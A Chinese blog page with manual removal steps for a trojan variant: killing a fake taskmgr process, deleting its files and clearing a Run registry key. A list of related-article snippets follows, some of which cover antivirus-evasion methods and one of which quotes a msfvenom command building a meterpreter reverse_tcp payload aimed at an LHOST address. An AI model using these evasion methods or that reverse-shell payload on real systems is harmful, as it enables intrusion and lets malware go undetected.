墨衍会员
·
AI 创作全网分发
墨衍智能分发
本文由作者通过墨衍一键同步至各平台
1分发平台
3.6k累计阅读
3.7k平均单平台
已同步平台
优快云
微信公众号
微博
知乎
掘金
百家号
博客园
抖音
小红书
你的文章也可以这样分发
墨衍会员 ¥399起/年，写一次发全网
我也要
http://www.18hi.com/123.exe是个老木马的变种。手工查杀方法如下：
1、打开任务管理器进程，结束taskmgr.exe进程（一个是任务管理器进程，结束后，任务管理器关闭。另一个是木马进程，结束后，任务管理器不会关闭。）
2、删除以下文件：
C:/windows/system/taskmgr
C:/windows/N0TEPAD
C:/windows/system/N0TEPAD
C:/windows/system32/ N0TEPAD
C:/windows/system/windll.dll
3、打开注册表编辑器，找到：
HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersion/Run
删除键值taskmgr
浏览器调用本地exe(应用程序)方法
1. 使用场景: 需要在浏览器中调用调用客户端本地的EXE或其他可执行文件， 可以带参数。类似于下载时浏览器调用迅雷或者百度云盘。 2. 操作步骤 2.1 添加注册表 向系统添加一个类似于http的私有协议（仅本地有效），然后浏览器调用。编写注册表文件如下： Windows Registry Editor Version 5.00 [HKEY_CLASSES_ROOT\test] "URL Protocol"="D:\\software\\hik\\test.exe" @="testProtocol"
C语言123exe,这个程序为什么输入第一个数字后就提示已123.exe（我的程序名）停止工作？...
已结贴√问题点数：20回复次数：10 这个程序为什么输入第一个数字后就提示已123.exe(我的程序名)停止工作？//*两个多项式的输入必须依照幂次数的升序依次输入*//#include #include #include #define LENTH sizeof(structPolyfactor)#define NULL 0typedef struct Polyfactor...
Python打包exe程序（pyinstaller）以及打包文件太大的解决方法
本文章可以教会你如何将python项目打包成exe可执行程序，以及打包后文件太大该如何解决！这个库叫啥呢，就叫“pyinstaller”，项目都能写出来，怎么安装库应该不需要我多说了吧？ 想到可能会有新手，新手请看???老手请自觉跳过安装好库了，那么打包命令是啥呢？ 尽量把打包后的文件放在英文目录下。 多个.py****文件打包为单一文件时，即pyinstaller 命令中加入了-F，也是有可能会导致错误的。可以不使用-F。 解释一下常用到的参数：main.py：是你的python项目文件-i：为mai
软件开机延迟启动
参考： https://www.jb51.net/article/55466.htm Dim delayer Set delayer = CreateObject("WScript.Shell") WScript.sleep 8000 delayer.Run """C:\Program Files(x86)\Kingsoft\Klive\Klive.exe""", 0, FALSE Set delayer = Nothing WScript.quit 新建一个txt文件，然后将上面内容拷贝进去，修改好要启
hao123.exe首页篡改专杀工具
此为hao123主页篡改专杀工具，对其他主页篡改可能有效！
suse ha for sap scale-up性能优化场景安装配置
suse ha for SAP安装配置
win7重装后的一直有好123的快捷方式exe的处理方法。
在csdn下载的一个比较干净的系统里，重装后总有hao123是执行文件。而且有还删除不了，开机后又会出现。用mscconfig看启动项的时候，有一个UExplorerTran.exe启动项，这个启动项是木马。win——》搜索程序和文件中输入UExplorerTran.exe就可以找到这个文件的位置，把文件删除，并去掉启动项重启系统就可以解决。 转载于:https://www.cnblo...
Coze平台智能体开发实战：打造测试工程师的AI助手
智能体是具备特定身份和能力的AI实体，由大语言模型（LLM）驱动，并通过插件、知识库和工作流扩展其能力。明确的角色定位：可以设定特定身份和专业领域扩展能力：通过插件连接外部工具和服务记忆能力：通过知识库存储和检索专属信息流程化处理：通过工作流执行复杂多步任务通过Coze平台创建测试工程师智能体，可以显著提升测试效率和质量。明确的角色定位：聚焦测试工程师的实际需求丰富的知识库：提供准确的领域知识支持合适的工具集成：通过插件连接现有工具链持续迭代优化：根据反馈不断改进智能体行为自动化测试生成。
一种简易的免杀绕过方法
这里我们直接参考师兄的项目https://github.com/snnxyss/In-Swor。利用提供的py脚本将123.txt shellcode加密。生成之后将123.txt放到config目录下。直接回到上一目录 修改payload.ini。从这里我们可以看到 geacon已经不行了。exe-shellcode-加密-运行。这里我们将exe转shellcode。这里我们用geacon作为本次实验。之后可以看到生成了123.dat。一种简易的免杀绕过方法。
Word公式一键转MathType保姆级教程（附omml2mml.xsl报错终极解决方案）
本文提供Word公式一键转MathType的保姆级教程，重点解决常见的omml2mml.xsl报错问题。通过详细分析报错原因、官方解决方案实操步骤及转换后格式优化技巧，帮助用户高效完成公式转换，适用于科研论文和商业文档编辑。
同步辐射材料科学应用指南：从XAFS原位实验到数据处理
材料结构分析是材料研究的核心环节，但传统实验室X射线受限于能量固定、亮度不足，往往难以回答原子局域配位、非晶结构及动态演变等关键问题。同步辐射光源以高通量、连续可调、偏振可控及脉冲时间结构等特性，将材料表征从静态观察推进到原位动态追踪层次。基于X射线吸收精细结构谱（XAFS）、原位实验、X射线衍射与散射、微区成像等技术，研究人员可实现元素选择性分析、近邻原子环境解析及真实工况下的结构演变监测。本文从技术原理出发，覆盖实验方案设计、样品制备、现场对光、数据处理与常见故障排查，并结合典型应用场景，为材料科学领域
【安全研究】免杀对抗之源码免杀
0x01 免杀分类 渗透测试中常需要免杀马，这块的内容交叉且形式多样。常见的免杀方式，源码混淆、DLL文件替换、文件修改、加壳、花指令免杀、签名等。免杀的内容比较偏向破解、反编译范畴的安全研究，也是武器库中的必不可少的部分。本文章是系列教程，各种免杀方式都会涉及，本次分享的是源码免杀。 0x02 源码免杀 这里以Python做免杀为例，其他语言如C#、GO、Ruby等免杀思路相同。 免杀的大致步骤可以分为如下，视情况可以采用部分步骤： 加载器选择-ctypes-DLL&其他，加载shellcode
统计信号处理基础 习题解答1-1
1-1：在雷达习题中，双程延时时间的估计量具有PDF τ0~Nτ0,στ02，其中τ0是真值。假如要估计距离请提出一种估计量R，并求它的PDF。然后，确定标准偏差στ0，使得距离估计值的99%在真值的100m以内，对电磁波传播速度取c=3×108m/s。 解答： 问题1： 由于电磁波传播速度c，信号可观察的双程传播延时τ0和双程传播距离τ0满足关系： R=cτ02 因此可采用如下估计量： R=cτ02 问题2： 由于τ0满足正态分布，且： Eτ0=τ0 varτ0=στ02 那么： E
所有浏览器主页都变成hao123，hao123劫持浏览器（亲测有效）
如何删除hao123主页，修改了浏览器主页不生效，可能你的浏览器被劫持了。 下班回到家，打开浏览器，遇到一件很不愉快的事情，怎么主页变成hao123了 ？？？ 首先检查自己的主页设置，是没有问题 ，看来浏览器被劫持了 ！！！ 回忆一下，昨天为了激活window，使用了激活工具，肯定是他搞的鬼 ！！！ 但是涉及到了只是盲区，还有百度了，解决办法搜到很多，我试到两种可行的解决办法，往下看。 方法一、 最简单有效的方法，修改原 .exe文件名称，并重新添加桌面快捷方式。 有教程说改快捷方式的
逆向分析-SeparationPreview.aip-分色预览-结构分析（一）-x64dbg条件日志打印-命令表达式-PS脚本
从功能上分析，仅显示使用的专色这个功能，并没有触发插件接口。使用X64dbg加载illustrator进程，切换到句柄窗口，在窗口过程中，右键刷新获取界面。在x64dbg中，在UI中可以输入一些条件表达式，能够计算出对应的值，并打印在日志中。常用的，如果非暂停，输出第一个参数。参数二是utf16的指针，utf16@字符串地址，这里的字符串地址为[[ebp-108]]参数一是utf8的，utf8@字符串地址，这里的字符串地址为[ebp-28]从界面上分析，一个颜色列表，及仅显示专色的多选框组成。
Vue - 在纯 HTML 普通项目中实现组件化，让原生 html 项目支持引入 *.vue 组件 / 组件与组件间的互相引用等，完美解决了引入组件出现的跨域问题（保姆级详细教程，完整示例源码及插件）
html中使用vue组件，在HTML页面中引入vue组件，HTML界面利用http-vue-loader.js以组件方式引入vue文件，使用http-vue-loader引入组件出现报错，在html页面使用http-vue-loader插件引入组件报跨域错误，如何解决http-vue-loader引用组件时出现跨域问题，纯html原生web项目引入vue后如何实现组件引入，使用http-vue-loader插件控制台报错跨域，http-vue-loader跨域怎么办官方文档，html页面如何引入.vu
【新版】掩日免杀windows Defender
掩日免杀是一个非常优秀的项目，目前在`4月19`号已经更新，更新的变动较大，支持的种类更多，在这里再试试现在的效果如何：
大中型超市收银系统(可直接运行)
光步前台收银系统系统功能：商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传，基本资料下载，开钱箱、小票打印、收款结算，支持多币种付款方式（现金、储值卡、礼券、微信等）,支持多种促销。运行环境：.net 4.0登陆信息用户名:1001 密码:123456内置商品信息，商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开
Payload分离免杀绕过杀软
Payload分离免杀绕过杀软 杀毒软件的原理是根据特征、行为、基于云查杀，云查杀主要是根据特征码进行查杀，每一种杀毒软件都会检测头文件，所以可以进行程序段代码分离的形式，绕过当前主流杀软。 1.C语言编译后门 root@iZ2ze0r5hel5o5dt2w9uluZ:~# msfvenom -a x86 --platform Windows \ > -p windows/meterpreter/reverse_tcp \ > -b '\x00\x0b' LHOST=123.56.138
蓝牙模块HM-10手册
蓝牙模块HM-10手册，该手册对蓝牙模块HM-10进行了详细的介绍和使用方法以及一些AT指令。
IEM模型，地表粗糙度模拟
利用微波反演土壤水分时候，利用IEM模型可以实现对随机地表的模拟
Powershell免杀
Powershell免杀 本文作者：Chenw 本文链接：https://www.cnblogs.com/chen-w/p/14726549.html 0x01 前言 前几天搞一个站的时候，进入内网，想让内网一台机子powershell上线。然后被杀软拦截了，极其的不讲武德，想着找我极强的朋友们白嫖个免杀的方法。 后面还是没有白嫖到，只好自己去研究学习一下了（针对CS的进行免杀，后面思想大同小异）于是做了这个小笔记。 0x02 Powershell免杀思路 先介绍一下powershell木马最常用的方式
NTscan扫描工具
ntscan是一个扫描器，可以扫描没有密码和弱密码的共享，先到配置文件中填写猜测的用户名和密码，扫描过程中右侧出现的是扫描日志。
深入剖析MY123前生今世以及手工清除方法
作者：nslog ( www.nslog.cn ) 日期：2006/11/15 (转载请保留此申明) 引言：写在最前面 MY123创造了很多流氓软件的第一，有望争夺流氓软件的“最流氓软件宝座”： 1、驱动保护（System Bus Extend驱动，安全模式下也加载） 2、随机文件名，DLL和SYS 3、多线程保护，网络自动升级 4、极强的自动恢复
【2025版】最新的一种简易的免杀绕过方法，（非常详细）从零基础到精通，收藏这篇就够了！
既然exe直接GG，那就只能祭出shellcode大法了。作者把exe转成shellcode，然后用“提供的py脚本”进行加密。生成之后将123.txt放到config目录下利用提供的py脚本将123.txt shellcode加密之后可以看到生成了123.dat不得不说，这种加密方式确实能绕过一些简单的查杀。但是，只要稍微有点经验的安全工程师，就能通过分析流量、内存等方式，轻松找到解密密钥，然后反推出原始shellcode。
解决chrome主页被hao123劫持的记录
自己的chrome浏览器首页被流氓劫持，每次打开都会跳转至hao123主页， 问题：chrome浏览器打开后默认跳转至hao123页面或其他非自己设置的主页 情况1：chrome快捷方式右键属性，查看目标位置，目录后是否跟随链接地址 解决方法：删除后面链接，清理至只存在文件目录的状态 如果删除连接之后，重启浏览器成功解决问题，那这种情况是相对比较容易解决的。 如果没有解决，依然出现跳转请参考...
解决google打开以后跳转到hao123
google打开以后跳转到hao123 最近打开谷歌浏览器后会自动跳转到hao123，出现如下画面，就很烦。网上查到很多方法，发现复杂而且可用性低。 简单说两个方法在此。 方法一： 找到chrome快捷方式，右键属性，查看目标中是否有url后缀，如果有则删除，删除以后界面应该如下所示。 方法二： 如果已经更改上述目标如图所示，但是打开chrome后依然跳转到hao123等，则选择此种方式，博主亲测有用。 右键快捷方式，找到打开文件所在位置，进去以后将原本的chrome.exe随便更改一个名字，博主此处更改为
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
1万+
扫一扫
